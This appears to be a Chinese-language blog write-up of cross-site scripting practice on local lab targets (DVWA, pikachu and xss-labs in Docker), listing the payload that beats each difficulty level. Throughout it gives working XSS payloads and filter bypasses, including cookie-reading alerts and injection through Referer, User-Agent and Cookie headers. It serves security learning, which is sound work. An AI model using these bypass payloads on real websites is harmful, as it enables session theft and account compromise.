XSS(Cross-Site Scripting,跨站脚本攻击)是 Web 安全领域最常见、出现频率最高、危害也非常大的漏洞之一,即使到了 2026 年,它仍然是 OWASP Top 10 榜单的常客。
攻击者把恶意 JavaScript 代码注入到网页里,当其他用户访问这个页面时,恶意代码就在受害者的浏览器里被执行了。
XSS 的三大主流分类(2025-2026 年仍然是这三类):
| 类型 | 英文名称 | 是否持久化 | 执行时机 | 典型场景 | 危害程度 |
|---|---|---|---|---|---|
| 反射型 | Reflected XSS | 否 | 用户必须点击攻击者构造的恶意链接 | 搜索框、错误页面、URL 参数带内容 | ★★★★ |
| DOM型 | DOM-based XSS | 否 | 浏览器端 JavaScript 处理不当 | location.hash、innerHTML、document.write 等危险操作 | ★★★★ |
| 存储型 | Stored XSS | 是 | 只要有人访问被污染的页面 | 论坛帖子、商品评论、个人签名、客服留言 | ★★★★★ |
一、XSS靶场
反射型
1.DVWA
1.1 low
-
目前显示的界面如下图所示:

-
先随意输入一些内容试试:输入"curme"发现在界面上会出现输入的内容

-
输入恶意代码:
<script>alert(1)</script>

-
输入恶意代码:
<script>alert(document.cookie)</script>

1.2 medium
-
当我输入
<script>alert(1)</script>

对关键词有过滤 -
输入:
<scr<script>ipt>alert(1)</script>或者<Script>alert(1)</Script>

1.3 high
-
这个难度下,替换了所有的
<script>标签,因此考虑使用触发事件:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

-
<img src=x onerror=alert(document.cookie)>或<svg onload=alert(document.cookie)>

2.pikachu
2.1 反射型GET

如上图,输入恶意代码,发现有长度显示,于是修改maxlength参数为200.
之后就可以输入恶意代码:<script>alert(1)</script>,显示如下:

2.2 反射型POST

先登录admin / 123456,登陆之后如下:

输入123,抓包如下:
POST /pikachu/vul/xss/xsspost/xss_reflected_post.php HTTP/1.1
Host: 192.168.103.130:8082
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://192.168.103.130:8082
Connection: keep-alive
Referer: http://192.168.103.130:8082/pikachu/vul/xss/xsspost/xss_reflected_post.php
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=663b23ae4a67f2b75215f8f71a31ac26
Upgrade-Insecure-Requests: 1
Priority: u=0, i
message=123&submit=submit
界面显示如下:

在POST数据包的message中加入恶意代码如下:<script>alert(1)</script>,显示如下:

(其实不通过抓包也能实现。)
DOM型
1.DVWA
1.1 low
-
随便选择一个,观察url发现是通过参数
default传递的

-
输入恶意代码:
http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<script>alert(1)</script>

-
输入恶意代码:
http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

1.2 medium
- 主要还是一个过滤:考虑不使用带有
<script的语句
http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<img src='' onerror=javascript:alert(1)>

1.3 high
-
服务器端已经做的无懈可击,但是在客户端还是可以通过锚点
#来加入恶意代码。
http://192.168.103.130:8090/vulnerabilities/xss_d/?default=English #<script>alert(1)</script> -
客户端只是将
English提交给了服务器,服务器检查后发现没有问题,于是客户端将整个English #<script>alert(1)</script>写入了DOM树,从而攻击就发生了。
2.pikachu
2.1 DOM型xss
通过Inspector得知,在click上的函数是domxss()。然后在Debugger中搜索domxss,可以得知domxss()函数如下:
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
因此使用恶意代码为:'></a> <img src=x onerror=alert(1)> <a href='
显示如下:

2.2 DOM型xss-x

通过Inspector得知,在上图中的链接有一个click事件,使用了domxss()函数。通过在Debugger中搜索domxss可以得知,domxss()函数如下:
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
因此使用恶意代码为:'></a> <iframe src=x onload=alert(1)></iframe> <a href='
显示如下:

存储型
1.DVWA
1.1 low
-
通过随意输入可以发现,每次刷新页面,都会再次显示曾经输入的内容

-
输入恶意代码:

这样一来每次刷新页面都会显示:

-
输入恶意代码:

这样一来每次刷新页面都会显示:

1.2 medium
- 在Name中输入:
<ScRipT>alert(1)</ScRipT>
(在Name框中可能会出现无法输入这么长的字符串的问题,直接在界面源码上将输入该框的字符串最大设置为100。)
这样一来,每次刷新都会出现

在消息框里面输入不成功是因为代码中使用了strip_tags()函数,该函数会剥离字符串中所有的 HTML、XML 以及 PHP 标签。
1.3 high
-
这里主要的问题是:只使用了黑名单,只是过滤了
<script。对于html事件完全没有过滤。 -
在Name框中输入:
<svg onload=alert(1)>或<img src=x onerror=alert(1)>

2.pikachu

如上图,通过Inspector可以看出输入的内容显示的地方,可以使用如下的恶意代码:
</p> <img src=x onerror=alert(1)> <p>
每次刷新网页都会出现如下界面:

二、XSS检测工具
-
XSSER
-
XSSSTRIKE
三、xss-labs闯关

level 1
通过GET传递参数
http://192.168.103.130:9000/xss-labs/level1.php?name=<script>alert(1)</script>
恶意代码:<script>alert(1)</script>
level 2
搜索参数嵌入了html的input中。
恶意代码:"> <img src=x onerror=alert(1)> <img scr="
level 3
恶意代码:' onfocus=alert(1) '
level 4
恶意代码:' onfocus=alert(1) '
level 5
恶意代码:"> <a href="javascript:alert(1)">click</a> <img src="
level 6
恶意代码:"> <ScRIpt> alert(1) </ScRIpt> <img src="
level 7
恶意代码:" OonNOnfocus=alert(1) > <img src="
level 8
恶意代码:javascript:alert(1)
level 9
恶意代码:javascript:alert('http://www.baidu.com')
恶意代码:javascript:alert(1)//http://www.baidu.com
level 10
恶意代码:" type="text" onfocus=alert(1) "
http://192.168.103.130:9000/xss-labs/level10.php?keyword=well done!&t_sort=" type="text" onfocus=alert(1) "
level 11
恶意代码:" type="button" onfocus="alert(1)
在GET请求里面将Referer改成:
" type="button" onfocus="alert(1)
level 12
恶意代码:" type="button" onfocus="alert(1)
在GET请求里面将User-Agent改成:
" type="button" onfocus="alert(1)
level 13
恶意代码:" type="button" onfocus="alert(1)
Cookie: user=" type="button" onfocus="alert(1)
level 14
这关略过,这关的网站已经挂了。
level 15
恶意代码:
http://192.168.103.130:9000/xss-labs/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
level 16
恶意代码:<img%0dsrc=x%0donerror=alert(1)
level 17
略
level 18
恶意代码:%20onmouseover=alert(1)%20width=200%20height=200%20style=background:red;display:block;
level 19
略
level 20
略
通过这 20 关,已经走过了 XSS 发展的缩影:
Level 1-10:基础过滤(大小写、双写、事件、伪协议)。
Level 11-13:HTTP 头部注入(Referer, Cookie, User-Agent)。
Level 14-16:前端框架注入 (AngularJS) 和 字符编码绕过。
Level 17-20:插件注入 (Flash)。
硬件及软件说明:
I.硬件(电脑)
Apple Mac mini M4 (24G)
II.软件(vmware虚拟机)
ubuntu作为靶机- IP:
192.168.103.130 - arm64
- Ubuntu 24.04.3 LTS
- IP:
kali作为攻击机- IP:
192.168.103.128 - arm64
- Kali GNU/Linux Rolling
- 浏览器:Chromium 和 Firefox
- IP:
ubuntu中安装docker靶场:kaakaww/dvwa-docker:latest
ubuntu中安装docker靶场:homins/pikachu:latest
ubuntu中安装docker靶场:hominsu/xss-labs:latest
# 拉取docker镜像
sudo docker pull kaakaww/dvwa-docker
sudo docker pull hominsu/pikachu
sudo docker pull hominsu/xss-labs
# 为镜像创建容器,并运行
## DVWA 端口设为 8090
## pikachu 端口设为 8082
## xss-labs 端口设为 9000
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu
sudo docker run -dt --name xss-labs -p 9000:80 hominsu/xss-labs
📌 不一定对,如有错误,欢迎指出🙂。
浙公网安备 33010602011771号